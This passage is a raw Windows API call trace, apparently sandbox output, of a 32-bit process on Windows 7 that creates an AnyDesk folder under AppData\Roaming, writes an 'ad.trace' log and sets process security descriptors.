lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x24f4a0 [0178.275] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4b0 [0178.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0178.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4c0 [0178.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4c0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0178.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x48) returned 0x24f898 [0178.275] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4c0 | out: hHeap=0x240000) returned 1 [0178.275] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x56) returned 0x24fad8 [0178.276] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f898 | out: hHeap=0x240000) returned 1 [0178.276] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.276] CreateDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\AnyDesk" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\anydesk"), lpSecurityAttributes=0x0) returned 1 [0178.283] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24fad8 | out: hHeap=0x240000) returned 1 [0178.283] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.283] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4b0 | out: hHeap=0x240000) returned 1 [0178.283] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f848 | out: hHeap=0x240000) returned 1 [0178.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.283] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4a0 [0178.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4a0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a604, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0178.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xe) returned 0x24e4b0 [0178.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a604, cbMultiByte=-1, lpWideCharStr=0x24e4b0, cchWideChar=7 | out: lpWideCharStr=".trace") returned 7 [0178.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d810 [0178.284] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4b0 | out: hHeap=0x240000) returned 1 [0178.284] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4a0 [0178.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4a0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0178.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4b0 [0178.284] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0178.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x58) returned 0x24f848 [0178.284] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x68) returned 0x24f8a8 [0178.284] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f848 | out: hHeap=0x240000) returned 1 [0178.284] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x68) returned 0x24fad8 [0178.284] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x240db0 | out: hHeap=0x240000) returned 1 [0178.284] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x68) returned 0x24fb48 [0178.284] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24fad8 | out: hHeap=0x240000) returned 1 [0178.285] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f8a8 | out: hHeap=0x240000) returned 1 [0178.285] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xd0) returned 0x24f848 [0178.285] GetCurrentThreadId () returned 0xe08 [0178.285] GetCurrentProcess () returned 0xffffffff [0178.285] GetSecurityInfo () returned 0x0 [0178.295] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x508a18 [0178.295] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x508a18, cbSid=0x1265c4 | out: pSid=0x508a18*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x1265c4) returned 1 [0178.295] BuildTrusteeWithSidA () returned 0x1265bc [0178.295] SetEntriesInAclW () returned 0x0 [0178.295] LocalFree (hMem=0x508a18) returned 0x0 [0178.295] SetSecurityInfo () returned 0x0 [0178.296] LocalFree (hMem=0x503390) returned 0x0 [0178.296] LocalFree (hMem=0x51b758) returned 0x0 [0178.296] GetCurrentProcess () returned 0xffffffff [0178.296] GetSecurityInfo () returned 0x0 [0178.296] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x508a18 [0178.296] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x508a18, cbSid=0x1265c4 | out: pSid=0x508a18*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x1265c4) returned 1 [0178.296] BuildTrusteeWithSidA () returned 0x1265bc [0178.296] SetEntriesInAclW () returned 0x0 [0178.297] LocalFree (hMem=0x508a18) returned 0x0 [0178.297] SetSecurityInfo () returned 0x0 [0178.297] LocalFree (hMem=0x503390) returned 0x0 [0178.297] LocalFree (hMem=0x51b758) returned 0x0 [0178.297] GetCurrentProcess () returned 0xffffffff [0178.297] GetSecurityInfo () returned 0x0 [0178.297] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x508a18 [0178.297] CreateWellKnownSid (in: WellKnownSidType=0x1, DomainSid=0x0, pSid=0x508a18, cbSid=0x1265c4 | out: pSid=0x508a18*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0), cbSid=0x1265c4) returned 1 [0178.297] BuildTrusteeWithSidA () returned 0x1265bc [0178.297] SetEntriesInAclW () returned 0x0 [0178.297] LocalFree (hMem=0x508a18) returned 0x0 [0178.297] SetSecurityInfo () returned 0x0 [0178.297] LocalFree (hMem=0x503390) returned 0x0 [0178.297] LocalFree (hMem=0x51b758) returned 0x0 [0178.297] GetCurrentProcess () returned 0xffffffff [0178.297] GetSecurityInfo () returned 0x0 [0178.297] LocalAlloc (uFlags=0x0, uBytes=0x44) returned 0x508a18 [0178.297] CreateWellKnownSid (in: WellKnownSidType=0x1a, DomainSid=0x0, pSid=0x508a18, cbSid=0x1265c4 | out: pSid=0x508a18*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), cbSid=0x1265c4) returned 1 [0178.297] BuildTrusteeWithSidA () returned 0x1265bc [0178.298] SetEntriesInAclW () returned 0x0 [0178.298] LocalFree (hMem=0x508a18) returned 0x0 [0178.298] SetSecurityInfo () returned 0x0 [0178.298] LocalFree (hMem=0x51b808) returned 0x0 [0178.298] LocalFree (hMem=0x51b758) returned 0x0 [0178.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.298] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4a0 [0178.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4a0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.298] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4b0 [0178.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0178.298] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.298] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.298] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x24f4a0 [0178.298] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\AnyDesk\\ad.trace" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\anydesk\\ad.trace"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0178.301] SetFilePointer (in: hFile=0x178, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.301] WriteFile (in: hFile=0x178, lpBuffer=0x1265bc*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1265b8, lpOverlapped=0x0 | out: lpBuffer=0x1265bc*, lpNumberOfBytesWritten=0x1265b8*=0x26, lpOverlapped=0x0) returned 1 [0178.303] GetLastError () returned 0x0 [0178.303] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x400) returned 0x24fbb8 [0178.303] GetLastError () returned 0x0 [0178.303] SetLastError (dwErrCode=0x0) [0178.303] WaitForSingleObject (hHandle=0xe8, dwMilliseconds=0xbb8) returned 0x0 [0178.303] GetSystemTime (in: lpSystemTime=0x12656c | out: lpSystemTime=0x12656c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x21b)) [0178.303] GetCurrentThreadId () returned 0xe08 [0178.303] GetCurrentProcessId () returned 0xe14 [0178.303] GetLastError () returned 0x0 [0178.303] SetLastError (dwErrCode=0x0) [0178.303] GetLastError () returned 0x0 [0178.303] SetLastError (dwErrCode=0x0) [0178.303] GetLastError () returned 0x0 [0178.303] SetLastError (dwErrCode=0x0) [0178.303] GetLastError () returned 0x0 [0178.303] SetLastError (dwErrCode=0x0) [0178.303] GetLastError () returned 0x0 [0178.304] SetLastError (dwErrCode=0x0) [0178.304] GetLastError () returned 0x0 [0178.304] SetLastError (dwErrCode=0x0) [0178.304] GetLastError () returned 0x0 [0178.304] SetLastError (dwErrCode=0x0) [0178.304] GetLastError () returned 0x0 [0178.304] SetLastError (dwErrCode=0x0) [0178.304] GetLastError () returned 0x0 [0178.304] SetLastError (dwErrCode=0x0) [0178.304] GetLastError () returned 0x0 [0178.304] SetLastError (dwErrCode=0x0) [0178.304] GetLastError () returned 0x0 [0178.304] SetLastError (dwErrCode=0x0) [0178.304] GetLastError () returned 0x0 [0178.304] SetLastError (dwErrCode=0x0) [0178.304] GetLastError () returned 0x0 [0178.304] SetLastError (dwErrCode=0x0) [0178.304] GetLastError () returned 0x0 [0178.304] SetLastError (dwErrCode=0x0) [0178.304] GetLastError () returned 0x0 [0178.304] SetLastError (dwErrCode=0x0) [0178.304] GetLastError () returned 0x0 [0178.304] SetLastError (dwErrCode=0x0) [0178.304] GetLastError () returned 0x0 [0178.305] SetLastError (dwErrCode=0x0) [0178.305] GetLastError () returned 0x0 [0178.305] SetLastError (dwErrCode=0x0) [0178.305] GetLastError () returned 0x0 [0178.305] SetLastError (dwErrCode=0x0) [0178.305] GetLastError () returned 0x0 [0178.305] SetLastError (dwErrCode=0x0) [0178.305] GetLastError () returned 0x0 [0178.305] SetLastError (dwErrCode=0x0) [0178.305] GetLastError () returned 0x0 [0178.305] SetLastError (dwErrCode=0x0) [0178.305] GetLastError () returned 0x0 [0178.305] SetLastError (dwErrCode=0x0) [0178.305] GetLastError () returned 0x0 [0178.305] SetLastError (dwErrCode=0x0) [0178.305] GetLastError () returned 0x0 [0178.305] SetLastError (dwErrCode=0x0) [0178.305] GetLastError () returned 0x0 [0178.305] SetLastError (dwErrCode=0x0) [0178.305] GetLastError () returned 0x0 [0178.305] SetLastError (dwErrCode=0x0) [0178.305] GetLastError () returned 0x0 [0178.306] SetLastError (dwErrCode=0x0) [0178.306] GetLastError () returned 0x0 [0178.306] SetLastError (dwErrCode=0x0) [0178.306] GetLastError () returned 0x0 [0178.306] SetLastError (dwErrCode=0x0) [0178.306] GetLastError () returned 0x0 [0178.306] SetLastError (dwErrCode=0x0) [0178.306] GetLastError () returned 0x0 [0178.306] SetLastError (dwErrCode=0x0) [0178.306] GetLastError () returned 0x0 [0178.306] SetLastError (dwErrCode=0x0) [0178.306] GetLastError () returned 0x0 [0178.306] SetLastError (dwErrCode=0x0) [0178.306] GetLastError () returned 0x0 [0178.306] SetLastError (dwErrCode=0x0) [0178.306] GetLastError () returned 0x0 [0178.306] SetLastError (dwErrCode=0x0) [0178.306] GetLastError () returned 0x0 [0178.306] SetLastError (dwErrCode=0x0) [0178.307] GetLastError () returned 0x0 [0178.307] SetLastError (dwErrCode=0x0) [0178.307] GetLastError () returned 0x0 [0178.307] SetLastError (dwErrCode=0x0) [0178.307] GetLastError () returned 0x0 [0178.307] SetLastError (dwErrCode=0x0) [0178.307] GetLastError () returned 0x0 [0178.307] SetLastError (dwErrCode=0x0) [0178.307] GetLastError () returned 0x0 [0178.307] SetLastError (dwErrCode=0x0) [0178.307] GetLastError () returned 0x0 [0178.307] SetLastError (dwErrCode=0x0) [0178.307] GetLastError () returned 0x0 [0178.307] SetLastError (dwErrCode=0x0) [0178.307] GetLastError () returned 0x0 [0178.307] SetLastError (dwErrCode=0x0) [0178.307] GetLastError () returned 0x0 [0178.307] SetLastError (dwErrCode=0x0) [0178.307] GetLastError () returned 0x0 [0178.307] SetLastError (dwErrCode=0x0) [0178.307] GetLastError () returned 0x0 [0178.307] SetLastError (dwErrCode=0x0) [0178.307] GetLastError () returned 0x0 [0178.308] SetLastError (dwErrCode=0x0) [0178.308] GetLastError () returned 0x0 [0178.308] SetLastError (dwErrCode=0x0) [0178.308] GetLastError () returned 0x0 [0178.308] SetLastError (dwErrCode=0x0) [0178.308] GetLastError () returned 0x0 [0178.308] SetLastError (dwErrCode=0x0) [0178.308] GetLastError () returned 0x0 [0178.308] SetLastError (dwErrCode=0x0) [0178.308] GetLastError () returned 0x0 [0178.308] SetLastError (dwErrCode=0x0) [0178.308] GetLastError () returned 0x0 [0178.308] SetLastError (dwErrCode=0x0) [0178.308] GetLastError () returned 0x0 [0178.308] SetLastError (dwErrCode=0x0) [0178.308] GetLastError () returned 0x0 [0178.308] SetLastError (dwErrCode=0x0) [0178.308] GetLastError () returned 0x0 [0178.308] SetLastError (dwErrCode=0x0) [0178.308] GetLastError () returned 0x0 [0178.308] SetLastError (dwErrCode=0x0) [0178.308] GetLastError () returned 0x0 [0178.308] SetLastError (dwErrCode=0x0) [0178.308] GetLastError () returned 0x0 [0178.309] SetLastError (dwErrCode=0x0) [0178.309] GetLastError () returned 0x0 [0178.309] SetLastError (dwErrCode=0x0) [0178.309] GetLastError () returned 0x0 [0178.309] SetLastError (dwErrCode=0x0) [0178.309] GetLastError () returned 0x0 [0178.309] SetLastError (dwErrCode=0x0) [0178.309] GetLastError () returned 0x0 [0178.309] SetLastError (dwErrCode=0x0) [0178.309] GetLastError () returned 0x0 [0178.309] SetLastError (dwErrCode=0x0) [0178.309] GetLastError () returned 0x0 [0178.309] SetLastError (dwErrCode=0x0) [0178.309] GetLastError () returned 0x0 [0178.309] SetLastError (dwErrCode=0x0) [0178.309] GetLastError () returned 0x0 [0178.309] SetLastError (dwErrCode=0x0) [0178.309] GetLastError () returned 0x0 [0178.309] SetLastError (dwErrCode=0x0) [0178.309] GetLastError () returned 0x0 [0178.309] SetLastError (dwErrCode=0x0) [0178.309] GetLastError () returned 0x0 [0178.311] GetSystemTime (in: lpSystemTime=0x126558 | out: lpSystemTime=0x126558*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x21b)) [0178.311] GetCurrentThreadId () returned 0xe08 [0178.311] GetCurrentProcessId () returned 0xe14 [0178.311] GetLastError () returned 0x0 [0178.311] GetSystemTime (in: lpSystemTime=0x126568 | out: lpSystemTime=0x126568*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x21b)) [0178.311] GetCurrentThreadId () returned 0xe08 [0178.311] GetCurrentProcessId () returned 0xe14 [0178.311] GetLastError () returned 0x0 [0178.312] GetSystemTime (in: lpSystemTime=0x12656c | out: lpSystemTime=0x12656c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x21b)) [0178.312] GetCurrentThreadId () returned 0xe08 [0178.312] GetCurrentProcessId () returned 0xe14 [0178.312] GetLastError () returned 0x0 [0178.312] GetSystemTime (in: lpSystemTime=0x16e7ac | out: lpSystemTime=0x16e7ac*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x21b)) [0178.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14871ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0178.312] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d830 [0178.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14871ec, cbMultiByte=-1, lpWideCharStr=0x24d830, cchWideChar=10 | out: lpWideCharStr="Windows 7") returned 10 [0178.312] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x752b0000 [0178.312] GetProcAddress (hModule=0x752b0000, lpProcName="GetNativeSystemInfo") returned 0x752d106d [0178.312] GetProcAddress (hModule=0x752b0000, lpProcName="IsWow64Process") returned 0x752c193e [0178.312] GetProcAddress (hModule=0x752b0000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x753444e9 [0178.312] GetProcAddress (hModule=0x752b0000, lpProcName="ProcessIdToSessionId") returned 0x752c1275 [0178.313] GetProcAddress (hModule=0x752b0000, lpProcName="GetCurrentProcessId") returned 0x752c11f8 [0178.313] GetProcAddress (hModule=0x752b0000, lpProcName="GetProcessId") returned 0x752ecef4 [0178.313] GetProcAddress (hModule=0x752b0000, lpProcName="GetLogicalProcessorInformation") returned 0x75344d01 [0178.313] GetProcAddress (hModule=0x752b0000, lpProcName="LoadLibraryW") returned 0x752c48e3 [0178.313] GetProcAddress (hModule=0x752b0000, lpProcName="GetProcAddress") returned 0x752c1222 [0178.313] GetProcAddress (hModule=0x752b0000, lpProcName="FreeLibrary") returned 0x752c3478 [0178.313] GetProcAddress (hModule=0x752b0000, lpProcName="InitializeSRWLock") returned 0x76f38456 [0178.313] GetProcAddress (hModule=0x752b0000, lpProcName="AcquireSRWLockExclusive") returned 0x76f329f1 [0178.313] GetProcAddress (hModule=0x752b0000, lpProcName="AcquireSRWLockShared") returned 0x76f32560 [0178.313] GetProcAddress (hModule=0x752b0000, lpProcName="ReleaseSRWLockExclusive") returned 0x76f329ab [0178.314] GetProcAddress (hModule=0x752b0000, lpProcName="ReleaseSRWLockShared") returned 0x76f325a9 [0178.314] GetProcAddress (hModule=0x752b0000, lpProcName="TryAcquireSRWLockExclusive") returned 0x76f44892 [0178.314] GetProcAddress (hModule=0x752b0000, lpProcName="TryAcquireSRWLockShared") returned 0x76fa8162 [0178.314] GetProcAddress (hModule=0x752b0000, lpProcName="GetTickCount64") returned 0x752deeb0 [0178.314] GetProcAddress (hModule=0x752b0000, lpProcName="SetFileInformationByHandle") returned 0x752ecbec [0178.314] GetProcAddress (hModule=0x752b0000, lpProcName="GetModuleFileNameExW") returned 0x0 [0178.314] GetProcAddress (hModule=0x752b0000, lpProcName="K32GetModuleFileNameExW") returned 0x752eb21b [0178.314] GetCurrentProcess () returned 0xffffffff [0178.314] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x126578 | out: Wow64Process=0x126578*=1) returned 1 [0178.314] FreeLibrary (hLibModule=0x752b0000) returned 1 [0178.314] GetCurrentProcessId () returned 0xe14 [0178.314] GetLastError () returned 0x0 [0178.314] GetSystemTime (in: lpSystemTime=0x126554 | out: lpSystemTime=0x126554*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x21b)) [0178.314] GetCurrentThreadId () returned 0xe08 [0178.315] GetCurrentProcessId () returned 0xe14 [0178.315] GetLastError () returned 0x0 [0178.320] GetSystemTime (in: lpSystemTime=0x12653c | out: lpSystemTime=0x12653c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x22a)) [0178.320] GetCurrentThreadId () returned 0xe08 [0178.320] GetCurrentProcessId () returned 0xe14 [0178.320] GetLastError () returned 0x0 [0178.321] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2a) returned 0x242d48 [0178.321] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x242d48 | out: hHeap=0x240000) returned 1 [0178.321] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486db8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0178.321] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4a0 [0178.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486db8, cbMultiByte=-1, lpWideCharStr=0x24f4a0, cchWideChar=3 | out: lpWideCharStr="\\$") returned 3 [0178.322] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.322] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4a0 [0178.322] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e4b0 [0178.322] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x24d830 [0178.322] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e4c8 [0178.322] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e4e0 [0178.322] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e4f8 [0178.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0178.322] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4b0 [0178.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d98, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=4 | out: lpWideCharStr="CON") returned 4 [0178.322] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d94, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0178.322] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4b0 [0178.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d94, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=4 | out: lpWideCharStr="PRN") returned 4 [0178.322] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0178.323] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4b0 [0178.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d90, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=4 | out: lpWideCharStr="AUX") returned 4 [0178.323] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d8c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0178.323] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4b0 [0178.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d8c, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=4 | out: lpWideCharStr="NUL") returned 4 [0178.323] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d84, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.323] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d84, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM1") returned 5 [0178.323] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d7c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.323] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 